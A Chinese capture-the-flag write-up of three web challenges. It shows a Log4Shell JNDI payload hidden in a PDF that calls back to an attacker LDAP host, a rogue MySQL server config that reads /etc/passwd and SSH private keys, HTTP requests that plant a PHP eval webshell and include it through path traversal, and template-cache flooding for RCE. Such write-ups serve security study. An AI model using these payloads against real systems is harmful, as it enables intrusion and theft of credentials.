pwnhub 胖哈勃春季赛 web
ak 了web
EzPDFParser
1 2 3 4 5 6 7 8 9 10 11 12
| pom.xml:39 39: <dependency> 40: <groupId>org.apache.pdfbox</groupId> 41: <artifactId>pdfbox</artifactId> 42: <version>2.0.24</version> 43: </dependency> 44: <dependency> 45: <groupId>org.apache.logging.log4j</groupId> 46: <artifactId>log4j-core</artifactId> 47: <version>2.14.0</version> 48: </dependency>
|
log4j2 的版本能被 log4shell 打,看着这个 pdfbox 联想到曾经翻到的项目:https://github.com/eelyvy/log4jshell-pdf
1 2 3 4 5 6
| log4jshell-pdf\template.pdf:72 72: /Root 1 0 R 73: /ID [<C9FF8D0E51F96CD73E5DC748A7C19CF0> <C9FF8D0E51F96CD73E5DC748A7C19CF0>] 74: /Size ${jndi:ldap:${sys:file.separator}${sys:file.separator}myip:9999${sys:file.separator}RCE} 75: >>
|
看了下版本能对应,直接测:
easyCMS
题目中给了给 mysql tool ,竟然有服务是 测试mysql是否连通
,看着就非常可疑
因而很自然地联想到 mysql client attack :https://paper.seebug.org/998/
又给了 dockerfile :
1 2 3 4 5 6 7 8 9 10
| FROM php:7.3.0-apache
RUN docker-php-ext-install mysqli
COPY ./flag [Access denied] COPY html /var/www/html
RUN chmod 755 [Access denied] &&\ chmod -R 755 /var/www/html
|
由此知道 php 版本受影响,网站的根目录是 /var/www/html
,因而就可以把源码给一个个下载下来
这里用到一个 rouge mysql server :https://github.com/rmb122/rogue_mysql_server
配置一下 config.yaml
,然后启动:
1 2 3 4 5 6 7 8 9 10 11 12 13
| host: 0.0.0.0 port: 3306 version_string: "10.4.13-MariaDB-log"
file_list: ["/var/www/html/tools/userTools/testTool.php","/etc/passwd","/root/.ssh/id_rsa"] save_path: ./loot always_read: false from_database_name: false
auth: true users: - root: root - root: password
|
代码拿下来之后就是做代码审计了,这个代码量很小,而且可疑的恶意函数调用点也非常少:
随便审一审,就能看出 任意文件写 + 目录穿越 + 文件包含,审出来直接打就好了:
这里非预期了,没用到官方的预期解反序列化,而是直接文件包含:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /index.php?s=tool/test HTTP/1.1 Host: 47.97.127.1:28696 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 141 Origin: http://47.97.127.1:28696 Connection: close Referer: http://47.97.127.1:28696/index.php?s=tool/test Cookie: JSESSIONID=EE41D49D65AC37F063D49A0E6E2CA318 Upgrade-Insecure-Requests: 1
Y0U_CA0_n3vEr_F1nD_m3_LOL%5Bfile%5D=fuckTool.php&Y0U_CA0_n3vEr_F1nD_m3_LOL%5Bdata%5D=%3C%3Fphp+eval%28%24_REQUEST%5B%22code%22%5D%29%3B%3F%3E
|
1 2 3 4 5 6 7 8 9 10 11 12
| GET /index.php?s=tool/../../../../../tmp/sandbox/6165c4d06713934e904c9e98050c7773/fuck&code=phpinfo(); HTTP/1.1 Host: 47.97.127.1:28696 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://47.97.127.1:28696/index.php?s=tool/../../../../../tmp/sandbox/6165c4d06713934e904c9e98050c7773/fuck&code=phpinfo(); Cookie: JSESSIONID=EE41D49D65AC37F063D49A0E6E2CA318 Upgrade-Insecure-Requests: 1
|
baby_flask
拿了个二血
直接给了源码,本来觉得直接访问 /edit
更改模板就能轻松 rce 的,但是在本地测试过之后发现模板被改了,但是新的模板没法被渲染
这时候就自然想到了 cache
当时做了这样的推理:
这个已经被渲染 的模板必然有地方存放,无非是存放在 文件当中,或者内存里面。如果是存放在内存里面的话,那连内存大小都是有极限的,这个能存储的模板的数量或者大小肯定是有极限的。所以只要创建足够多的模板,最后新写入的模板必然会被渲染。
所以在没有仔细读文档和源码的情况下,直接 bp 先请求 500 次 /create
,然后请求 500 次 /edit
,然后请求 500 次 /show
,直接 RCE